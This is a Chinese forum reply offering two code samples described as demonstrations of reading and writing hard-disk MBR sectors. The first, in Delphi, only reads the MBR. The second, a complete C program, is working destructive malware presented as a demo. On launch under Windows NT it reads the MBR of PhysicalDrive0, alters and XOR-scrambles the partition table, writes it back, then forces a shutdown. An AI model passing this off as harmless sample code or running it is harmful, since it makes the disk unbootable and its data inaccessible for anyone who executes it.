把我这里有的两个都给你贴出来吧,希望对你有用<br><br>=========1、硬盘MBR读写============<br>procedure TForm1.Button1Click(Sender: TObject);<br>var hFile:THandle ;<br> bytesread
WORD;<br> buf: array[0..511] of char ;<br> Security: TSecurityAttributes;<br><br>begin<br><br> hFile:=CreateFile('//./PhysicalDrive0',GENERIC_READ, FILE_SHARE_READ or FILE_SHARE_WRITE, nil ,OPEN_EXISTING,FILE_FLAG_SEQUENTIAL_SCAN,0);<br> if hFile=INVALID_HANDLE_VALUE then<br> begin<br> ShowMessage('No file exists yet.' );<br> Exit;<br> end;<br> if not ReadFile(hFile, buf, sizeof(buf), bytesread, nil) then showmessage('Error');<br><br>end;<br><br>===========2、C语言的==============<br>//演示如何在Windows NT/2000下对硬盘物理扇区读写<br>#include <windows.h><br>#include <winioctl.h><br>//---------------------------------------------------------------------------<br>void WINAPI ExitWin()<br>{<br> HANDLE hProcess, hToken;<br> TOKEN_PRIVILEGES NewState;<br> DWORD ProcessId, ReturnLength = 0;<br> LUID luidPrivilegeLUID;<br><br> ProcessId = GetCurrentProcessId();<br> hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);<br> OpenProcessToken(hProcess,TOKEN_ADJUST_PRIVILEGES, &hToken);<br> LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &luidPrivilegeLUID);<br><br> NewState.PrivilegeCount = 1;<br> NewState.Privileges[0].Luid = luidPrivilegeLUID;<br> NewState.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;<br><br> if(AdjustTokenPrivileges(hToken, FALSE, &NewState, NULL, NULL, NULL))<br> ExitWindowsEx(EWX_FORCE|EWX_POWEROFF, 0);<br>}<br><br><br>void WINAPI KillNT()<br>{<br><br> HANDLE hDevice;<br> TCHAR szDevicename[64];<br> LPTSTR szBuff;<br> DISK_GEOMETRY Geometry;<br> BOOL bRet;<br> DWORD bytes,bread,count;<br> int i;<br><br> char *drive = "0";<br> wsprintf(szDevicename,"////.//PHYSICALDRIVE%c",*drive);<br><br> hDevice = CreateFile( szDevicename,<br> GENERIC_READ|GENERIC_WRITE,<br> FILE_SHARE_READ|FILE_SHARE_WRITE,<br> NULL,<br> OPEN_EXISTING,<br> 0,<br> NULL<br> );<br><br> if (hDevice == INVALID_HANDLE_VALUE)<br> {<br> MessageBox(NULL,"打开设备出错",NULL,MB_OK);<br> ExitProcess(0);<br> }<br><br><br> DeviceIoControl(hDevice,FSCTL_LOCK_VOLUME, NULL,0,NULL,0,&count,NULL);<br><br> DeviceIoControl(hDevice,IOCTL_DISK_GET_DRIVE_GEOMETRY,NULL,0,&Geometry,sizeof(DISK_GEOMETRY),&count,NULL);<br><br> szBuff = (LPSTR)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,Geometry.BytesPerSector);<br><br> if ( szBuff == NULL)<br> {<br> MessageBox(NULL,"分配内存出错",NULL,MB_OK);<br> ExitProcess(0);<br> }<br><br> bytes = 512;<br><br> bRet = ReadFile(hDevice, szBuff, bytes, &bread, NULL);<br><br> if (bRet==FALSE || bread<512)<br> {<br> MessageBox(NULL,"读MBR出错",NULL,MB_OK);<br> ExitProcess(0);<br> }<br><br><br> *(szBuff + 0x1be) = 0x80;<br> *(szBuff + 0x1bf) = 0x00;<br> *(szBuff + 0x1c2) = 0x05;<br> for ( i = 0x1c3; i < 510; i++ )<br> {<br> *(szBuff + i) ^= 0x926;<br> }<br><br> DeviceIoControl(hDevice,FSCTL_UNLOCK_VOLUME, NULL,0,NULL,0,&count,NULL);<br><br> CloseHandle(hDevice);<br><br> wsprintf(szDevicename,"////.//PHYSICALDRIVE%c",*drive);<br><br> hDevice = CreateFile( szDevicename,<br> GENERIC_READ|GENERIC_WRITE,<br> FILE_SHARE_READ|FILE_SHARE_WRITE,<br> NULL,<br> OPEN_EXISTING,<br> 0,<br> NULL<br> );<br><br> if ( hDevice == INVALID_HANDLE_VALUE)<br> {<br> MessageBox(NULL,"打开设备出错",NULL,MB_OK);<br> ExitProcess(0);<br> }<br><br><br> DeviceIoControl(hDevice,FSCTL_LOCK_VOLUME, NULL,0,NULL,0,&count,NULL);<br><br> DeviceIoControl(hDevice,IOCTL_DISK_GET_DRIVE_GEOMETRY,NULL,0,&Geometry,sizeof(DISK_GEOMETRY),&count,NULL);<br><br> bRet = WriteFile(hDevice,szBuff,bytes,&bread,NULL);<br><br> if (bRet==FALSE || bread<512)<br> {<br> MessageBox(NULL,"写MBR出错",NULL,MB_OK);<br> ExitProcess(0);<br> }<br><br><br> DeviceIoControl(hDevice,FSCTL_UNLOCK_VOLUME, NULL,0,NULL,0,&count,NULL);<br><br> HeapFree(GetProcessHeap(),HEAP_NO_SERIALIZE,szBuff);<br><br> CloseHandle(hDevice);<br><br> ExitWin();<br><br>}<br><br><br>void WINAPI OSVer()<br>{<br><br> OSVERSIONINFO osi;<br><br> osi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);<br><br> if (GetVersionEx(&osi))<br> {<br> if ( osi.dwPlatformId == VER_PLATFORM_WIN32_NT)<br> KillNT();<br> }<br><br>}<br><br><br>WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)<br>{<br><br> OSVer();<br> return 0;<br>}<br><br><br>作者 sinister@whitecell.org <br><br><br>